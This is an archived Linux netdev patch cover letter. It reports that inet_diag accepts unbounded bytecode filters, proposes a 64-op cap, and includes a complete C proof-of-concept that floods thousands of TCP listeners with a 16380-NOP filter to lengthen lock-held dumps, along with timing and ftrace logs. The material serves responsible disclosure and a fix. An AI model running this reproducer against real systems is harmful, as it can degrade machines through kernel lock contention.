Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] inet_diag: cap bytecode filter complexity
@ 2026-09-07 13:53 Zihan Xi
  2026-09-07 13:53 ` [PATCH net 1/1] " Zihan Xi
  0 siblings, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-09-07 13:53 UTC (permalink / raw)
  To: netdev
  Cc: David S . Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
	Simon Horman, Kuniyuki Iwashima, David Ahern, Kees Cook,
	linux-kernel, Zihan Xi

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/inet_diag.c. The numbers
below were taken as root in QEMU, not under unshare -Urn.

A no-bytecode TCP listener dump still completes after the cap. A 64-op
program is still accepted. The 16380-NOP request is rejected with
EINVAL.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

inet_diag dumps run request-supplied INET_DIAG_REQ_BYTECODE programs
through inet_diag_bc_sk() while walking TCP, UDP and MPTCP hash buckets
under their bucket locks. inet_diag_bc_audit() currently accepts an
arbitrarily long program, so the per-socket filter cost is not bounded
by the auditor.

This fact is already present at the git epoch: tcpdiag_bc_audit() had
no op cap, and tcpdiag_dump() ran the bytecode while holding the
listener and ehash locks. Later inet_diag extraction, including
8d07d1518a07, only moved that code. Fixes therefore points to
1da177e4c3f4.

ss(8) filters only need a handful of compare/host/mark operations.
This patch rejects programs with more than 64 ops in
inet_diag_bc_audit(), which is the shared entry point for TCP, UDP
and MPTCP dumps. 64 is a policy cap above a normal ss(8) filter,
not a lock-hold budget.

The runtime logs are TCP listener dumps only. udp_diag_dump() and
mptcp_diag_dump_listeners() call the same inet_diag_bc_sk() helper
under their own bucket locks, so the auditor cap applies there too;
we did not rerun those dumps.

On the unfixed kernel 7.3.0-rc1-00293-g38b6be101006, KVM/host CPU,
watchdog_thresh=10, one SO_REUSEPORT group of 4096 TCP listeners,
guest root, ulimit -n 200000:

    ./poc --listen --groups 1 --count 4096 --nops 16380 --compare
    no bytecode:     1.429 ms
    16380 NOPs:    116.242 ms

dmesg after that dump did not show a soft lockup. These are PoC dump
wall times, not spin_lock timestamps. We did not record lock-hold
duration.

On this kernel the TCP listener walk calls inet_diag_bc_sk() and
inet_sk_diag_fill() under ilb->lock.

ftrace kprobes on the same unfixed kernel:

    ./poc --listen --groups 1 --count 8 --nops 16380 --cpu 0

shows inet_diag_bc_sk() called from tcp_diag_dump(), with kretprobe
returning into tcp_diag_dump+0x16d.

    ./poc --listen --groups 1 --count 4096 --nops 16380 --cpu 0 --compare

with those probes attached entered inet_diag_bc_sk() 8212 times
across the baseline dump and the NOP dump, and summed to 129.493 ms
inside that function. Probe overhead is included; the same attack
without probes was 116.242 ms.

On the patched kernel 7.3.0-rc1-00294-g03a6504e40de, same 4096-listener
compare: the no-bytecode baseline dump succeeded (wall_ms=1.479), then
the 16380-NOP request returned EINVAL.

    ./poc --listen --groups 1 --count 4096 --nops 63

still succeeds (wall_ms=0.841). That program is 63 INET_DIAG_BC_NOP
ops plus a trailing INET_DIAG_BC_D_EQ, which the auditor counts as
64 ops, i.e. the cap.

The tested patched bzImage reports 03a6504e40de. The commit in this
series is a later message/trailer amend of that same tree.

A previous dump-cursor rewrite for TCP/MPTCP was dropped.

Reproducer:

    gcc -O2 -static -o poc poc.c
    ulimit -n 200000
    ./poc --listen --groups 1 --count 4096 --nops 16380 --compare

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment, KVM,
cpu=host. The timing log used guest root, not unshare -Urn.

This is not a packet-sequence or protocol-state reproducer. The trigger
depends on creating many sockets and issuing NETLINK_SOCK_DIAG requests,
which packetdrill cannot express, so the PoC uses sockets and Netlink
directly.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/inet_diag.h>
#include <linux/netlink.h>
#include <linux/sock_diag.h>
#include <linux/tcp.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <unistd.h>

#ifndef SOL_TCP
#define SOL_TCP 6
#endif

#ifndef TCP_LISTEN
#define TCP_LISTEN 10
#endif

#define TCPF_LISTEN (1U << TCP_LISTEN)

#ifndef TCP_BOUND_INACTIVE
#define TCP_BOUND_INACTIVE 13
#endif
#ifndef TCPF_BOUND_INACTIVE
#define TCPF_BOUND_INACTIVE (1U << TCP_BOUND_INACTIVE)
#endif

#define DEFAULT_SOCKETS 32768U
#define DEFAULT_NOPS 16380U
#define DEFAULT_REPEAT 1U
#define DEFAULT_GROUPS 4U
#define DEFAULT_STRIDE 2048U
#define DEFAULT_BASE_PORT 10000
#define MAX_NOPS 16380U
#define RECV_BUF_SIZE (1U << 20)

struct options {
	unsigned int sockets;
	unsigned int nops;
	unsigned int repeat;
	unsigned int groups;
	unsigned int stride;
	unsigned int cpu;
	bool cpu_set;
	bool compare;
	bool attack;
	bool listen_mode;
	int port;
};

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
		"          [--groups N] [--stride N] [--compare] [--no-attack]\n"
		"          [--listen | --bound]\n"
		"Defaults: --count %u --nops %u --repeat %u\n",
		prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
}

static long long timespec_delta_ns(const struct timespec *start,
				       const struct timespec *end)
{
	return (end->tv_sec - start->tv_sec) * 1000000000LL +
	       (end->tv_nsec - start->tv_nsec);
}

static int raise_nofile_limit(rlim_t needed)
{
	struct rlimit lim;

	if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
		perror("getrlimit(RLIMIT_NOFILE)");
		return -1;
	}

	if (lim.rlim_cur >= needed)
		return 0;

	if (lim.rlim_max < needed)
		needed = lim.rlim_max;

	lim.rlim_cur = needed;
	if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
		perror("setrlimit(RLIMIT_NOFILE)");
		return -1;
	}

	if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
		perror("getrlimit(RLIMIT_NOFILE)");
		return -1;
	}

	if (lim.rlim_cur < needed) {
		fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
			(unsigned long long)lim.rlim_cur,
			(unsigned long long)needed);
		return -1;
	}

	return 0;
}

static int pin_to_cpu(unsigned int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		return -1;
	}

	return 0;
}

static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_ANY),
	};
	socklen_t addrlen = sizeof(addr);
	int one = 1;
	int fd;

	fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
	if (fd < 0) {
		perror("socket(AF_INET, SOCK_STREAM)");
		return -1;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
		perror("setsockopt(SO_REUSEADDR)");
		goto err;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
		perror("setsockopt(SO_REUSEPORT)");
		goto err;
	}

	addr.sin_port = htons(port);
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		perror("bind");
		goto err;
	}

	if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
		perror("getsockname");
		goto err;
	}

	if (listen_mode) {
		if (listen(fd, 0) < 0) {
			perror("listen");
			goto err;
		}
	}

	*bound_port = ntohs(addr.sin_port);
	return fd;

err:
	close(fd);
	return -1;
}

static int setup_sockets(bool listen_mode, unsigned int groups,
			 unsigned int count_per_group, unsigned int stride,
			 int requested_port, int **fds_out, int *port_out)
{
	int *fds;
	unsigned int g, i;
	unsigned int total = groups * count_per_group;
	int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;

	fds = calloc(total, sizeof(*fds));
	if (!fds) {
		perror("calloc(socket fds)");
		return -1;
	}

	for (g = 0; g < groups; g++) {
		int port = base_port + (int)(g * stride);

		if (port <= 0 || port > 65535) {
			fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
				g, base_port, stride);
			goto err;
		}

		for (i = 0; i < count_per_group; i++) {
			unsigned int idx = g * count_per_group + i;
			int bound_port = port;
			int fd = create_socket_in_bucket(listen_mode, bound_port,
							 &bound_port);

			if (fd < 0) {
				fprintf(stderr,
					"socket setup failed at group %u index %u (port %d)\n",
					g, i, port);
				goto err;
			}

			fds[idx] = fd;
			if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
				printf("sockets_ready=%u group=%u port=%d mode=%s\n",
				       idx + 1, g + 1, port,
				       listen_mode ? "listen" : "bound");
			}
		}
	}

	*fds_out = fds;
	*port_out = base_port;
	return 0;

err:
	for (i = 0; i < total; i++) {
		if (fds[i] > 0)
			close(fds[i]);
	}
	free(fds);
	return -1;
}

static void teardown_sockets(int *fds, unsigned int count)
{
	unsigned int i;

	if (!fds)
		return;

	for (i = 0; i < count; i++) {
		if (fds[i] >= 0)
			close(fds[i]);
	}
	free(fds);
}

static size_t build_request(void *buf, bool listen_mode, bool with_attack,
			    unsigned int nops)
{
	size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
	struct nlmsghdr *nlh = buf;
	struct inet_diag_req_v2 *req;

	memset(buf, 0, msg_len);
	nlh->nlmsg_len = msg_len;
	nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
	nlh->nlmsg_seq = 1;

	req = NLMSG_DATA(nlh);
	req->sdiag_family = AF_INET;
	req->sdiag_protocol = IPPROTO_TCP;
	req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
	req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
	req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;

	if (with_attack) {
		size_t payload_len = ((size_t)nops + 2U) *
				     sizeof(struct inet_diag_bc_op);
		size_t attr_len = NLA_HDRLEN + payload_len;
		struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
		struct inet_diag_bc_op *ops;
		unsigned int i;

		memset(nla, 0, NLA_ALIGN(attr_len));
		nla->nla_type = INET_DIAG_REQ_BYTECODE;
		nla->nla_len = attr_len;
		ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);

		for (i = 0; i < nops; i++) {
			ops[i].code = INET_DIAG_BC_NOP;
			ops[i].yes = sizeof(struct inet_diag_bc_op);
			ops[i].no = 0;
		}

		ops[nops].code = INET_DIAG_BC_D_EQ;
		ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
		ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);

		ops[nops + 1].code = 0;
		ops[nops + 1].yes = 0;
		ops[nops + 1].no = 1;

		msg_len += NLA_ALIGN(attr_len);
		nlh->nlmsg_len = msg_len;
	}

	return msg_len;
}

static int recv_until_done(int fd)
{
	char *buf;
	int ret = 0;

	buf = malloc(RECV_BUF_SIZE);
	if (!buf) {
		perror("malloc(recv buf)");
		return -1;
	}

	for (;;) {
		ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
		struct nlmsghdr *nlh;
		int remaining;

		if (received < 0) {
			perror("recv");
			ret = -1;
			break;
		}

		if (received == 0) {
			fprintf(stderr, "recv: unexpected EOF\n");
			ret = -1;
			break;
		}

		remaining = (int)received;
		for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
		     nlh = NLMSG_NEXT(nlh, remaining)) {
			if (nlh->nlmsg_type == NLMSG_DONE)
				goto out;

			if (nlh->nlmsg_type == NLMSG_ERROR) {
				const struct nlmsgerr *err = NLMSG_DATA(nlh);

				if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
					fprintf(stderr, "short NLMSG_ERROR\n");
				} else if (err->error) {
					errno = -err->error;
					perror("netlink");
				} else {
					fprintf(stderr, "unexpected ACK\n");
				}
				ret = -1;
				goto out;
			}
		}
	}

out:
	free(buf);
	return ret;
}

static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
		    double *wall_ms)
{
	size_t request_len;
	size_t attr_space = with_attack ?
			    NLA_ALIGN(NLA_HDRLEN +
				      ((size_t)nops + 2U) *
				      sizeof(struct inet_diag_bc_op)) : 0;
	size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
			   attr_space;
	struct sockaddr_nl local = {
		.nl_family = AF_NETLINK,
	};
	struct sockaddr_nl kernel = {
		.nl_family = AF_NETLINK,
	};
	struct timeval timeout = {
		.tv_sec = 60,
		.tv_usec = 0,
	};
	struct iovec iov;
	struct msghdr msg = {
		.msg_name = &kernel,
		.msg_namelen = sizeof(kernel),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	struct timespec start_ts;
	struct timespec end_ts;
	void *request;
	int fd;
	int ret = -1;

	request = malloc(alloc_len);
	if (!request) {
		perror("malloc(request)");
		return -1;
	}

	request_len = build_request(request, listen_mode, with_attack, nops);

	fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
	if (fd < 0) {
		perror("socket(AF_NETLINK)");
		free(request);
		return -1;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
		perror("setsockopt(SO_RCVTIMEO)");
		goto out;
	}

	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
		perror("bind(netlink)");
		goto out;
	}

	iov.iov_base = request;
	iov.iov_len = request_len;

	if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
		perror("clock_gettime(start)");
		goto out;
	}

	if (sendmsg(fd, &msg, 0) < 0) {
		perror("sendmsg");
		goto out;
	}

	if (recv_until_done(fd) < 0)
		goto out;

	if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
		perror("clock_gettime(end)");
		goto out;
	}

	*wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
	ret = 0;

out:
	close(fd);
	free(request);
	return ret;
}

static int parse_u32(const char *arg, unsigned int *value)
{
	char *end = NULL;
	unsigned long parsed;

	parsed = strtoul(arg, &end, 0);
	if (!end || *end || parsed > UINT32_MAX)
		return -1;

	*value = (unsigned int)parsed;
	return 0;
}

static int parse_port(const char *arg, int *port)
{
	unsigned int value;

	if (parse_u32(arg, &value) < 0 || value > 65535U)
		return -1;

	*port = (int)value;
	return 0;
}

int main(int argc, char **argv)
{
	struct options opts = {
		.sockets = DEFAULT_SOCKETS,
		.nops = DEFAULT_NOPS,
		.repeat = DEFAULT_REPEAT,
		.groups = DEFAULT_GROUPS,
		.stride = DEFAULT_STRIDE,
		.cpu = 0,
		.cpu_set = false,
		.compare = false,
		.attack = true,
		.listen_mode = true,
		.port = 0,
	};
	int *fds = NULL;
	int port = 0;
	unsigned int i;

	for (i = 1; i < (unsigned int)argc; i++) {
		if (strcmp(argv[i], "--count") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.sockets) < 0 ||
			    opts.sockets == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--nops") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.nops) < 0 ||
			    opts.nops > MAX_NOPS) {
				fprintf(stderr, "--nops must be in range [0, %u]\n",
					MAX_NOPS);
				return 1;
			}
		} else if (strcmp(argv[i], "--repeat") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.repeat) < 0 ||
			    opts.repeat == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--groups") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.groups) < 0 ||
			    opts.groups == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--stride") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.stride) < 0 ||
			    opts.stride == 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--port") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_port(argv[++i], &opts.port) < 0) {
				usage(argv[0]);
				return 1;
			}
		} else if (strcmp(argv[i], "--cpu") == 0) {
			if (i + 1 >= (unsigned int)argc ||
			    parse_u32(argv[++i], &opts.cpu) < 0) {
				usage(argv[0]);
				return 1;
			}
			opts.cpu_set = true;
		} else if (strcmp(argv[i], "--compare") == 0) {
			opts.compare = true;
		} else if (strcmp(argv[i], "--no-attack") == 0) {
			opts.attack = false;
		} else if (strcmp(argv[i], "--listen") == 0) {
			opts.listen_mode = true;
		} else if (strcmp(argv[i], "--bound") == 0) {
			opts.listen_mode = false;
		} else {
			usage(argv[0]);
			return 1;
		}
	}

	if (opts.groups > UINT32_MAX / opts.sockets) {
		fprintf(stderr, "socket count overflow\n");
		return 1;
	}

	if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
		return 1;

	if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
		return 1;

	if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
			  opts.stride, opts.port, &fds, &port) < 0)
		return 1;

	printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
	       opts.groups, opts.sockets, opts.groups * opts.sockets,
	       port, opts.stride, opts.listen_mode ? "listen" : "bound",
	       opts.nops, opts.repeat,
	       opts.compare ? "yes" : "no",
	       opts.attack ? "yes" : "no");

	if (opts.compare) {
		double wall_ms;

		if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
			teardown_sockets(fds, opts.groups * opts.sockets);
			return 1;
		}
		printf("baseline wall_ms=%.3f\n", wall_ms);
	}

	if (opts.attack) {
		for (i = 0; i < opts.repeat; i++) {
			double wall_ms;

			if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
				teardown_sockets(fds, opts.groups * opts.sockets);
				return 1;
			}
			printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
		}
	}

	teardown_sockets(fds, opts.groups * opts.sockets);
	return 0;
}
------END poc.c--------

----BEGIN timing log----
==== unfixed 7.3.0-rc1-00293-g38b6be101006, KVM/host, guest root ====
kernel.watchdog_thresh = 10
kernel.softlockup_panic = 0
kernel.panic = 0

==== unfixed, 4096 listeners, no kprobe ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --compare
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=16380 repeat=1 compare=yes attack=yes
baseline wall_ms=1.429
attack_run=1 wall_ms=116.242

==== unfixed ftrace kprobe, 8 listeners ====
command: ./poc --listen --groups 1 --count 8 --nops 16380 --cpu 0
bcsk: (inet_diag_bc_sk+0x4/0x390)
 <stack trace>
 => inet_diag_bc_sk
 => tcp_diag_dump
 => __inet_diag_dump
 => netlink_dump
 => __netlink_dump_start
 => inet_diag_handler_cmd
 => sock_diag_rcv_msg
bcsk_ret: (tcp_diag_dump+0x16d/0x8f0 <- inet_diag_bc_sk)

==== unfixed ftrace kprobe, 4096-listener compare ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --cpu 0 --compare
bcsk count=8212 span_ms=138.589
bcsk_ret count=8212
tdump count=19
bcsk_us min=0.0 p50=10.0 p90=28.0 max=871.0 avg=15.8 n=8212
bcsk_total_ms=129.493
poc wall: baseline wall_ms=7.088 attack_run=1 wall_ms=131.535

==== patched 7.3.0-rc1-00294-g03a6504e40de, 4096 listeners, 16380 NOPs ====
command: ./poc --listen --groups 1 --count 4096 --nops 16380 --compare
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=16380 repeat=1 compare=yes attack=yes
baseline wall_ms=1.479
netlink: Invalid argument

==== patched, 4096 listeners, 63 NOPs + D_EQ ====
command: ./poc --listen --groups 1 --count 4096 --nops 63
sockets_ready=4096 group=1 port=10000 mode=listen
setup_complete groups=1 sockets_per_group=4096 total_sockets=4096 base_port=10000 stride=2048 mode=listen nops=63 repeat=1 compare=no attack=yes
attack_run=1 wall_ms=0.841
-----END timing log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  inet_diag: cap bytecode filter complexity

 net/ipv4/inet_diag.c | 10 ++++++++++
 1 file changed, 10 insertions(+)

-- 
2.43.0

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-09-07 14:17 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-07 13:53 [PATCH net 0/1] inet_diag: cap bytecode filter complexity Zihan Xi
2026-09-07 13:53 ` [PATCH net 1/1] " Zihan Xi
2026-09-07 14:11   ` Eric Dumazet
2026-09-07 14:16     ` zihan xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox